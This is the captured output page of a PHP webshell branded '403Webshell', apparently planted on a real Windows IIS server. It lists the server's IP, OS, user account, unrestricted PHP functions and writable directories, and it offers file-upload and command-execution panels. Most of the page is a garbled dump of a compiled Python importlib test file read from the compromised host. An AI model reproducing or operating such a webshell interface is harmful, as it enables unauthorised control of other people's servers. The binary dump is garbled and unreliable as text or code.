403Webshell
Server IP : 121.121.20.254  /  Your IP : 216.73.216.202
Web Server : Microsoft-IIS/10.0
System : Windows NT WEB-SERVER 10.0 build 20348 (Windows Server 2022) AMD64
User : IUSR ( 0)
PHP Version : 8.3.28
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/Python313/Lib/test/test_importlib/resources/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/Python313/Lib/test/test_importlib/resources/__pycache__/util.cpython-313.pyc
�

��i���N�SSKrSSKrSSKrSSKrSSKrSSKrSSKrSSKJr SSK	J
r
Jr SSKJ
r SSKJr SSKJr "SS	\5rS-S
jrS.Sjr"SS
\R*S9r\"S\"\"S55SR5S5SR5S5S\"\"SS55S.S.SSSS.SSS.SSS00S.\"\"S55SR5S5SR5S5S \"\"S!S"550S#.S$9r"S%S&5r"S'S(\5r"S)S*\5r"S+S,\\5rg)/�N)�ResourceReader)�
import_helper�	os_helper�)�zip��_path)�
ModuleSpecc�8�\rSrSrSrSrSrSrSrSr	Sr
g	)
�Reader�c�8�[U5RU5 g�N)�vars�update)�self�kwargss  �7C:\Python313\\Lib\test\test_importlib\resources\util.py�__init__�Reader.__init__s���T�
���&�!�c��U$r��r�packages  r�get_resource_reader�Reader.get_resource_readers���rc�|�Xl[UR[5(aUReUR$r)r	�
isinstance�file�	Exception�r�paths  r�
open_resource�Reader.open_resources+���
��d�i�i��+�+��)�)�O��y�y�rc�|�Xl[UR[5(aUReUR$r)r	rr#r!)r�path_s  r�
resource_path�Reader.resource_paths+���
��d�i�i��+�+��)�)�O��y�y�rc�^�TUl[UR[5(aUReSn[	U4Sj[X R555$)Nc�$�URS5$)N�/)�split)�entrys r�part� Reader.is_resource.<locals>.part*s���;�;�s�#�#rc3�^># �UH"n[U5S:H=(a UST:Hv� M$ g7f)rrN)�len)�.0�partsr's  �r�	<genexpr>�%Reader.is_resource.<locals>.<genexpr>-s.����
�?X�e�C��J�!�O�1��a��E� 1�1�?X�s�*-)r	rr#r!�any�map�	_contents)rr'r/s ` r�is_resource�Reader.is_resource%sN�����
��d�i�i��+�+��)�)�O�	$��
�?B�4���?X�
�
�	
rc#�# �[UR[5(aUReURShv�N gN7fr)rr#r!r9�rs r�contents�Reader.contents1s,����d�i�i��+�+��)�)�O��>�>�!�!�s�;A�A�ArN)�__name__�
__module__�__qualname__�__firstlineno__rrr$r(r:r>�__static_attributes__rrrrrs ��"����

�"rrc�d�Sn[R"U5n[X SUS9nXClXlU$)N�testingpackagezdoes-not-exist)�origin�
is_package)�types�
ModuleTyper
�__spec__�
__loader__)�loaderrH�name�module�specs     r�create_package_from_loaderrQ7s6���D�
�
�
�d�
#�F��d�+;�
�S�D��O����Mrc�*�[[XUS9U5$)N)r r#r9)rQr)r r#rHr>s    r�create_packagerS@s��%��D�x�8���rc�l�\rSrSrSr\RS5rSrSr	Sr
SrSrS	r
S
rSrSrg
)�CommonTestsBase�Gz6
Tests shared by test_open, test_path, and test_read.
c��g)zT
Call the pertinent legacy API function (e.g. open_text, path)
on package and path.
Nr)rrr#s   r�execute�CommonTestsBase.executeLs�rc�P�URURRS5 g)z-
Passing in the package name should succeed.
�
utf-8.fileN)rX�datar@r=s r�test_package_name�!CommonTestsBase.test_package_nameSs��	
���T�Y�Y�'�'��6rc�<�URURS5 g)z/
Passing in the package itself should succeed.
r[N�rXr\r=s r�test_package_object�#CommonTestsBase.test_package_objectYs��	
���T�Y�Y��-rc�@�SnURURU5 g)z2
Passing in a string for the path should succeed.
r[Nr`r"s  r�test_string_path� CommonTestsBase.test_string_path_s�������T�Y�Y��%rc�h�[R"S5nURURU5 g)zC
Passing in a pathlib.PurePath object for the path should succeed.
r[N)�pathlib�PurePathrXr\r"s  r�test_pathlib_path�!CommonTestsBase.test_pathlib_pathfs&������-�����T�Y�Y��%rc��[RURR	UR	URRS5 g)z-
The anchor package can already be imported.
r[N)�sys�modulesr\r@rXr=s r�$test_importing_module_as_side_effect�4CommonTestsBase.test_importing_module_as_side_effectms2��
�K�K��	�	�*�*�+����T�Y�Y�'�'��6rc���[R"S5n[U[5S9nUR	US5 URURRS5 g)z�
Attempting to open or read or request the path for a
non-existent path should succeed if open_resource
can return a viable data stream.
�
Hello, world!�r r#r[N)�io�BytesIOrS�FileNotFoundErrorrX�assertEqualrLr	)r�
bytes_datars   r�test_missing_path�!CommonTestsBase.test_missing_pathtsM���Z�Z� 0�1�
� �j�7H�7J�K�����W�l�+�����+�+�1�1�<�@rc��[R"S5n[n[XS9nUR	US5 URURRS5 g)Nrqrrr[)rsrt�__file__rSrXrvrLr	)rrwr#rs    r�test_extant_path� CommonTestsBase.test_extant_pathsL���Z�Z� 0�1�
��� �j�<�����W�l�+�����+�+�1�1�<�@rc��[[5[5S9nUR[5 URUS5 SSS5 g!,(df   g=f)Nrrr[)rSru�assertRaisesrXrs  r�test_useless_loader�#CommonTestsBase.test_useless_loader�s?�� �&7�&9�@Q�@S�T��
�
�
�0�
1��L�L��,�/�2�
1�
1�s�A�
ArN)r@rArBrC�__doc__�abc�abstractmethodrXr]rardrirnrxr|r�rDrrrrUrUGsK���	������7�.�&�&�7�	A�	A�0rrU)�	metaclass��uHello, UTF-16 world!
z	utf-16-lezHello, UTF-8 world!
zutf-8�)�__init__.py�binary.file)r�r��utf-16.filer[�subdirectoryzone resource)r�z
resource1.txtztwo resource)r�z
resource2.txt�	subsubdirzresource.txtz
a resource)r��one�twor�r���)r�r�r[r�)�data01�data02�namespacedata01c� �\rSrSrSrSrSrg)�ModuleSetup�c��[R"5UlURURR5 URR[R"55 URUR5Ul
gr)�
contextlib�	ExitStack�fixtures�
addCleanup�close�
enter_contextr�isolated_modules�load_fixture�MODULEr\r=s r�setUp�ModuleSetup.setUp�sY��"�,�,�.��
�����
�
�+�+�,��
�
�#�#�M�$B�$B�$D�E��%�%�d�k�k�2��	rc�b�URU[U05 [R"U5$r)�tree_on_pathr��	importlib�
import_module)rrOs  rr��ModuleSetup.load_fixture�s+�����6�8�F�#3�4�5��&�&�v�.�.r)r\r�N)r@rArBrCr�r�rDrrrr�r��s��3�/rr�c��\rSrSrSrSrSrg)�ZipSetup�r�c
�*�URR[R"55n[R
"U5S-nURR[R"[[R"X5555 g)Nzzipped modules.zip)r�r�r�temp_dirrg�Pathr�
DirsOnSysPath�str�zip_�
make_zip_file)rrPr�rms    rr��ZipSetup.tree_on_path�sc���=�=�.�.�y�/A�/A�/C�D���,�,�x�(�+?�?���
�
�#�#��'�'��D�,>�,>�t�,M�(N�O�	
rrN�r@rArBrCr�r�rDrrrr�r��s��
�F�
rr�c��\rSrSrSrSrSrg)�	DiskSetup��r�c��URR[R"55n[R
"U[R"U55 URR[R"U55 gr)
r�r�rr�r	�buildrgr�rr�)rrPr�s   rr��DiskSetup.tree_on_path�sS���=�=�.�.�y�/A�/A�/C�D��
���D�'�,�,�x�0�1��
�
�#�#�M�$?�$?��$I�JrrNr�rrrr�r��s
��
�F�Krr�c��\rSrSrSrg)�CommonTests��rN)r@rArBrCrDrrrr�r��s��rr�)T)NNTr) r�r�rsrlrIrgr��importlib.resources.abcr�test.supportrrr�rr�r	�importlib.machineryr
rrQrS�ABCMetarU�dict�bytes�range�encoder�r�r�r�r�rrr�<module>r�sB��
��	�
����2�1���+�""�^�""�J��F0����F0�R���U�1�X��5�<�<�[�I�-�4�4�W�=�� ��q�!��-�
�	��!�N�C�!�N�C�$�~�|�&D�E�	��U�1�X��5�<�<�[�I�-�4�4�W�=��5��r�2��/�
�	�#��8
/�
/�
�{�
�K��K�	�)�_�	r

Youez - 2016 - github.com/yon3zu
LinuXploit